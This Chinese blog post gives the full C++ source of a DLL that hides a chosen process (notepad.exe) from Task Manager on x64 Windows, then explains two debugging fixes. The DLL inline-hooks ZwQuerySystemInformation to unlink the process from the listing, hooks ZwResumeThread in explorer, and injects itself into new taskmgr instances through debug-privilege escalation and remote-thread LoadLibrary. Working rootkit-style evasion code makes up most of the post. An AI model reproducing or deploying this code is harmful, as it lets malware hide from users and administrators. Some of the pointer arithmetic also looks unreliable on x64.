之前写过几篇进程隐藏的技术贴,但是在X64下代码没有成功,昨晚深入调试了一会儿发现了问题所在,这里详细探讨下

先贴上完整的Hide.dll的cpp代码:

#include "Hide.h"
#define SystemProcessInformation    5
#define STATUS_SUCCESS              (0x00000000L)
#define STATUS_INFO_LENGTH_MISMATCH             (0xC0000004L)//*****************************************************↓↓↓常量定义↓↓↓************************************************************
BYTE             ZwQuerySystemInformation_origin_byte[5] = { 0, };
BYTE             ZwResumeThread_origin_byte[5] = { 0, };
LPCTSTR      Dll_Path = L"d:hack.dll";
wchar_t const *Hide_Process = L"notepad.exe";
WCHAR        Goal_Name[1][100] = { L"taskmgr" };
WCHAR        filename[MAX_PATH];
static DWORD  prepid = 0;//*****************************************************↓↓↓函数实现↓↓↓************************************************************
BOOL Whether_Hide_Goal(const WCHAR *processname) {const WCHAR *ori = processname;for (int i = 0; i<1; i++) {processname = ori;while (*processname != '\0') {WCHAR *s = Goal_Name[i];while (*processname != *s && *processname != (*s) - 32 && *processname != '\0') {processname++;}while (*processname != '\0' && (*processname == *s || *processname == (*s) - 32)) {processname++;s++;}if (*s == '\0') {return true;}}}return false;
}BOOL IsNt6Plus() {          //判断内核版本是否为NT6+OSVERSIONINFO osvi;ZeroMemory(&osvi, sizeof(osvi));osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);GetVersionEx(&osvi);if (osvi.dwMajorVersion == 6 || osvi.dwMajorVersion == 10)     //vista.7.8 = 6   10=10return true;return false;
}BOOL MyCreateRemoteThread(HANDLE hProcess, LPTHREAD_START_ROUTINE pThreadProc, LPVOID pRemoteBuf) {HANDLE hThread = NULL;FARPROC pfunc = NULL;if (IsNt6Plus()) {pfunc = (GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtCreateThreadEx"));if (pfunc == NULL)  return false;((PFNTCREATETHREADEX)pfunc)(&hThread, 0x1FFFFF, NULL, hProcess, pThreadProc, pRemoteBuf, FALSE, NULL, NULL, NULL, NULL);if (hThread == NULL)    return false;}else {hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, pRemoteBuf, 0, NULL);if (hThread == NULL)    return false;}if (WAIT_FAILED == WaitForSingleObject(hThread, INFINITE))  return false;return true;
}void InjectDll(DWORD pid = 0) {if (pid == 0)       return;EnableDebugPrivilege();  //权限提升HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);if (!hProcess)  return;LPVOID pRemoteBuf = NULL;DWORD BufSize = (DWORD)(wcslen(Dll_Path) + 1) * sizeof(TCHAR);//+1:\0pRemoteBuf = VirtualAllocEx(hProcess, NULL, BufSize, MEM_COMMIT, PAGE_READWRITE);WriteProcessMemory(hProcess, pRemoteBuf, (LPVOID)Dll_Path, BufSize, NULL);LPTHREAD_START_ROUTINE pThreadProc;HMODULE Kernel32_Handle = GetModuleHandle(L"kernel32.dll");pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(Kernel32_Handle, "LoadLibraryW");MyCreateRemoteThread(hProcess, pThreadProc, pRemoteBuf);CloseHandle(hProcess);hProcess = NULL;
}
BOOL EnableDebugPrivilege() {HANDLE hToken;BOOL fOk = FALSE;if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) {TOKEN_PRIVILEGES tp;tp.PrivilegeCount = 1;LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);fOk = (GetLastError() == ERROR_SUCCESS);CloseHandle(hToken);hToken = NULL;}return fOk;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{switch (fdwReason){case DLL_PROCESS_ATTACH:GetModuleFileName(NULL, filename, MAX_PATH);if (Whether_Hide_Goal(filename)) {   //如果是我们想对其隐藏的进程则对ZwQuerySystemInformation挂钩hook("ntdll.dll", "ZwQuerySystemInformation", (PROC)NewZwQuerySystemInformation, ZwQuerySystemInformation_origin_byte);}else {                             //否则一定是explorer则对ZwResumeThread挂钩hook("ntdll.dll", "ZwResumeThread", (PROC)NewZwResumeThread, ZwResumeThread_origin_byte);}break;case DLL_PROCESS_DETACH:unhook("ntdll.dll", "ZwQuerySystemInformation", ZwQuerySystemInformation_origin_byte);unhook("ntdll.dll", "ZwResumeThread", ZwResumeThread_origin_byte);break;}return TRUE;
}BOOL hook(LPCSTR DllName, LPCSTR FuncName, PROC Func_New, PBYTE origin_byte) {FARPROC p_ori_func;PBYTE   pbyte;DWORD   oldprotect;DWORD   address;byte       newbuf[5] = { (char)233,0, };p_ori_func = (FARPROC)GetProcAddress(GetModuleHandleA(DllName), FuncName);      //获取原函数地址pbyte = (PBYTE)p_ori_func;if (pbyte[0] == 0xE9)    return false;VirtualProtect((LPVOID)p_ori_func,5, PAGE_EXECUTE_READWRITE, &oldprotect);    //修改5字节属性为可写memcpy(origin_byte, p_ori_func,5);                                          //保存原函数前5字节指令address = (DWORD)Func_New - (DWORD)p_ori_func - 5;                              //计算跳转到NewZwQuerySystemInformation函数需要的jmp地址memcpy(&newbuf[1], &address,4);                                              //将计算出的地址写入newbufmemcpy(p_ori_func, newbuf,5);                                               //原函数处写入jmp xxx实现HookVirtualProtect((LPVOID)p_ori_func,5, oldprotect, &oldprotect);             //恢复刚刚调整过的属性return true;
}BOOL unhook(LPCSTR DllName, LPCSTR FuncName, PBYTE origin_byte) {FARPROC pfunc;PBYTE pbyte;DWORD oldprotect;pfunc = (FARPROC)GetProcAddress(GetModuleHandleA(DllName), FuncName);           //获取原函数地址pbyte = (PBYTE)pfunc;if (pbyte[0] != 0xE9)   return false;VirtualProtect((LPVOID)pfunc, 5, PAGE_EXECUTE_READWRITE, &oldprotect);          //修改5字节属性为可写memcpy(pfunc, origin_byte, 5);                                              //原函数前5字节恢复VirtualProtect((LPVOID)pfunc, 5, oldprotect, &oldprotect);                      //恢复刚刚调整过的属性return true;
}NTSTATUS WINAPI NewZwQuerySystemInformation(ULONG SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength)
{NTSTATUS status;FARPROC pfunc;PSYSTEM_PROCESS_INFORMATION pcur = NULL;PSYSTEM_PROCESS_INFORMATION pprev = NULL;unhook("ntdll.dll", "ZwQuerySystemInformation", ZwQuerySystemInformation_origin_byte);         //解除Hook   ZwQuerySystemInformation   防止无限循环pfunc = (FARPROC)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "ZwQuerySystemInformation");    //动态获取原函数地址status = ((PFZWQUERYSYSTEMINFORMATION)pfunc)(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);  //按照原始参数顺序调用原函数if (status != STATUS_SUCCESS) {                  //判断调用是否成功不可以的话就断Hook 返回错误statusif (status == STATUS_INFO_LENGTH_MISMATCH)  hook("ntdll.dll", "ZwQuerySystemInformation", (PROC)NewZwQuerySystemInformation, ZwQuerySystemInformation_origin_byte);return status;}if (SystemInformationClass == SystemProcessInformation) {       //只有SystemInformationClass=5(查询进程列表)是才进行应用隐藏操作pcur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;      //当前指针指向返回的SystemInformation结构体while (TRUE) {if (pcur->ProcessName.Buffer) {                         //此结构体ProcessName成员的Buffer成员存在则进入if (!wcscmp(pcur->ProcessName.Buffer, Hide_Process)) { //比较此结构体进程名是否为需要隐藏的进程名,是则进行链表下链操作if (pcur->NextEntryOffset == 0)pprev->NextEntryOffset = 0;elseif (pprev) {pprev->NextEntryOffset += pcur->NextEntryOffset;}else {SystemInformation=(PSYSTEM_PROCESS_INFORMATION)((ULONG64)pcur->NextEntryOffset);}}elsepprev = pcur;                                   //非需要隐藏的进程则当前指针和前向指针分别后移一个}if (pcur->NextEntryOffset == 0)                          //没有下一个了就退出break;pcur = (PSYSTEM_PROCESS_INFORMATION)((ULONG64)pcur + pcur->NextEntryOffset);}}hook("ntdll.dll", "ZwQuerySystemInformation", (PROC)NewZwQuerySystemInformation, ZwQuerySystemInformation_origin_byte);   //处理完成,再次Hookreturn status;                                                  //返回status
}
NTSTATUS WINAPI NewZwResumeThread(HANDLE ThreadHandle, PULONG SuspendCount) {DWORD pid = GetProcessIdOfThread(ThreadHandle);  //获取新线程的进程PIDif (pid != GetCurrentProcessId() && pid != prepid) {PROCESSENTRY32 pe;pe.dwSize = sizeof(pe);HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);if (INVALID_HANDLE_VALUE != hSnapShot) {BOOL bprocess = Process32First(hSnapShot, &pe);while (bprocess) {if (pe.th32ProcessID == pid && Whether_Hide_Goal(pe.szExeFile)) {       //遍历进程列表如果新创建的进程的名字是要隐藏的目标的话就InjectDllprepid = pid;InjectDll(pid);          //DLL注入break;}bprocess = Process32Next(hSnapShot, &pe);}}CloseHandle(hSnapShot);hSnapShot = NULL;}unhook("ntdll.dll", "ZwResumeThread", ZwResumeThread_origin_byte);            //防止死循环FARPROC pfn = (FARPROC)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "ZwResumeThread");    //动态获取原函数地址NTSTATUS status = ((PFZWRESUMETHREAD)pfn)(ThreadHandle, SuspendCount);hook("ntdll.dll", "ZwResumeThread", (PROC)NewZwResumeThread, ZwResumeThread_origin_byte);   //再次Hook住return status;
}

仔细看可以发现,主要有两处修改,均在NewZwQuerySystemInformation函数内部
修改一原先的代码:

unhook();
........
if (status != STATUS_SUCCESS) {return status;
}

修改后的代码:

unhook();
........
if (status != STATUS_SUCCESS) {if (status == STATUS_INFO_LENGTH_MISMATCH)hook("ntdll.dll", "ZwQuerySystemInformation", (PROC)NewZwQuerySystemInformation, ZwQuerySystemInformation_origin_byte);return status;}

为什么要这么修改呢,调试分析X64下的CreateToolhelp32SnapShot可以发现
这里用红圈画出的这个CALL为一个关键CALL,这个CALL内部调用了ZwQuerySystemInformation这个函数,也就是我们HOOK的函数

内部调用的ZwQuerySystemInformation这个函数在X64下名字是RtlGetNativeSystemInformation

单步步入之后发现确实HOOK成功了,跳转到我们的新函数NewZwQuerySystemInformation函数,但是继续跟进调试我们自己实现的NewZwQuerySystemInformation的时候发现,unhook之后调用RtlGetNativeSystemInformation函数后返回了错误代码C0000004。

查询后发现是传递参数的时候出现了大小不够的情况,但是很奇怪,我们的大小参数都是照搬了他原始的啊,既然我们的出错了,他们的也一定出错了,经过调试分析发现确实如此,而且看上面CreateToolhelp32SnapShot函数内部调用RtlGetNativeSystemInformation函数的附近确实有对C0000004错误的处理代码,也就是说,这个错误发生后他会加大参数大小然后再次调用这个函数,这次就成功运行了,问题就在这个第二次调用上,我们发现有错误后就直接返回NT_STATUS,而没有再次Hook住这个RtlGetNativeSystemInformation函数,导致第二次调用的时候会出现失效问题,所以判断如果是STATUS_INFO_LENGTH_MISMATCH这个错误那么返回错误码后CreateToolhelp32SnapShot修正大小之后一定会再次调用RtlGetNativeSystemInformation函数,所以需要再次给函数hook住。

修改二原先的代码:

if (pcur->NextEntryOffset == 0)break;pcur = (PSYSTEM_PROCESS_INFORMATION)((ULONG)pcur + pcur->NextEntryOffset);

修改后:

if (pcur->NextEntryOffset == 0)break;pcur = (PSYSTEM_PROCESS_INFORMATION)((ULONG64)pcur + pcur->NextEntryOffset);

在遍历RtlGetNativeSystemInformation填充的SystemInformation结构体的时候需要循环遍历每个进程信息只对需要隐藏的进程进行隐藏(notepad.exe),但是pcur是64位指针类型,把它强制转换成ULONG会造成地址高位信息丢失问题,这个属于x32到x64的细节问题

总结:
这次连分析CreateToolhelp32SnapShot加调试分析修改bug共用了2个多小时吧,习惯了x32的调试分析想搞x64确实有些手生,最大的问题就是参数传递的问题,x32里习惯了看一眼站窗口就知道函数调用参数了,但是x64中要从rcx,rdx,r8,r9这些寄存器中找参数,不过这个习惯了之后应该也会很快。
这两处修改最花时间的是第二处,确实指针截断实在是太不起眼了,一个是ADD RAX,RBX.一个是ADD EAX,EBX确实区别不大,不过看了当注意到这个的时候就瞬间想到了是类型转换的问题,修改后终于搞定了这个X64下的进程隐藏问题,激动的我差点叫出来…..不过当时已经2点了,估计叫出来室友想杀我的心都有了.2333…

X64下进程隐藏实现与Debug相关推荐

  1. Linux下进程隐藏的常见手法及侦测手段

    痕迹清理 1.  退出前 history -c 2.  多使用sftp吧 0.0 3.  web日志删除一些 4.  用户目录下很多 history,一言不合就是删 :) 4.  btmp wtmp ...

  2. x64下进程保护HOOK

    目录 x64(32)下的进程保护回调. 一丶进程保护线程保护 1.简介以及原理 1.2 代码 1.3注意的问题 二丶丶回调函数写法 2.1 遇到的问题. 2.2 回调代码 x64(32)下的进程保护回 ...

  3. (渗透测试后期)Linux进程隐藏详解

    文章目录 (渗透测试后期)Linux进程隐藏详解 前言 Linux进程基础 Linux进程侦查手段 Linux进程隐藏手段 一.基于用户态的进程隐藏 方法1:小隐隐于/proc/pid--劫持read ...

  4. x64下隐藏可执行内存

    前言 我们如果想要实现进程隐藏在3环通常会使用到PEB断链去达到隐藏进程的效果,但是那只是表面上的进程隐藏,所有内存的详细信息都会被储存在vad树里面,这里我们就来探究在64位下如何隐藏可执行内存 v ...

  5. CRUX下实现进程隐藏(3)

    通过一个内核模块拦截文件系统的回调函数来实现进程隐藏. VFS(Virtual File System)是Linux在实际文件系统(如ext3,ext4,vfat等)上抽象出的一个文件系统模型,简单来 ...

  6. 【Linux、进程隐藏】在Linux环境下添加系统调用实现进程隐藏

    提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 [进程隐藏]在Linux环境下添加系统调用实现进程隐藏 前言 一.环境设置: 二.实现方法步骤: 1.思路图 2.利用strace命令 ...

  7. python 隐藏进程_python在windows下创建隐藏窗口子进程的方法

    python在windows下创建隐藏窗口子进程的方法 发布于 2015-11-08 20:56:53 | 213 次阅读 | 评论: 0 | 来源: 网友投递 Python编程语言Python 是一 ...

  8. Linux系统下如何隐藏自己的进程?

    虽然并不建议直接使用root登录Linux系统,但很多时候,大家还是会用root登录,所以本文就假设你使用root登录了系统. 你想写一个进程,偷偷摸摸干点坏事,或者明目张胆地不断在屏幕上输出经理的手 ...

  9. CRUX下实现进程隐藏(2)

    前面我们介绍了如何修改/proc目录读取函数的方法实现进程隐藏.这篇博文将介绍另一种方法-- 劫持系统调用实现进程隐藏. 其基本原理是:加载一个内核模块(LKM),通过劫持系统调用sys_getden ...

  10. CRUX下实现进程隐藏(1)

    想必能找到这里的都是被吴一民的操作系统大作业坑过的学弟学妹了,当初我也是千辛万苦才把这个作业完成了,本着服务后辈的宗旨,尽量让学弟学妹少走弯路,我会把实现的大概思路记录下来.本系列一共三篇文章,分别实 ...

最新文章

  1. Spark函数:cogroup
  2. linux驱动学习笔记(2.4) scull 脚本scull_init
  3. Python 操作 MySQL 的正确姿势
  4. 【实施工程师之家】linux安装tomcat(yum安装tomcat)
  5. 发送图片微博_微博引流之(实时号养成内幕解析)!
  6. 【学习的心得】——“快餐”的效率与“挖掘”的重要性
  7. 如何在单个API中支持Java 6、8、9
  8. Linux、Ubuntu、CentOS安装和配置zsh
  9. 仿网易/QQ空间视频列表滚动连播炫酷效果
  10. python 获取pv_Python爬虫入门教程 40-100 博客园Python相关40W博客抓取 scrapy
  11. 利用HttpWebRequest实现实体对象的上传
  12. 物联网卡与人联网卡如何区分
  13. 涵盖农业、可再生能源、酒店、金融服务、创意服务、科技、林业和建筑业的20家新公司加入《气候宣言》
  14. 微信小程序搜索排名规则,教你怎么让排名靠前
  15. python3自动化软件发布系统pdf_Python 3自动化软件发布系统 -Django 2实战
  16. 微信头像制作小程序源码
  17. [转载]MySQL 中 char 与 varchar 能存多少汉字问题_-Chaz-_新浪博客
  18. 漫步者 lollipods 充电
  19. Navicat绘制数据库物理模型
  20. 2379. 得到 K 个黑块的最少涂色次数

热门文章

  1. 生成树协议STP 网络冗余技术
  2. 首次登录强制修改密码
  3. 微软Exchange多个高危漏洞通告
  4. 《模拟电子技术基础》课程笔记(九)——互补对称式功率放大电路
  5. 在mysql中 使用in关键字实现子查询_MySQL 之子查询
  6. guid主分区表损坏如何处理_恢复guid分区表【免费找回技巧与步骤】
  7. JavaScript 移动元素并使其原路返回
  8. 聊聊在小米实习的日子
  9. [老文档2016]一种后台管理智能杀进程的规则与方法
  10. composer 报错:composer [ReflectionException] Class Fxp\Composer\AssetPlugin\Repository\NpmRepository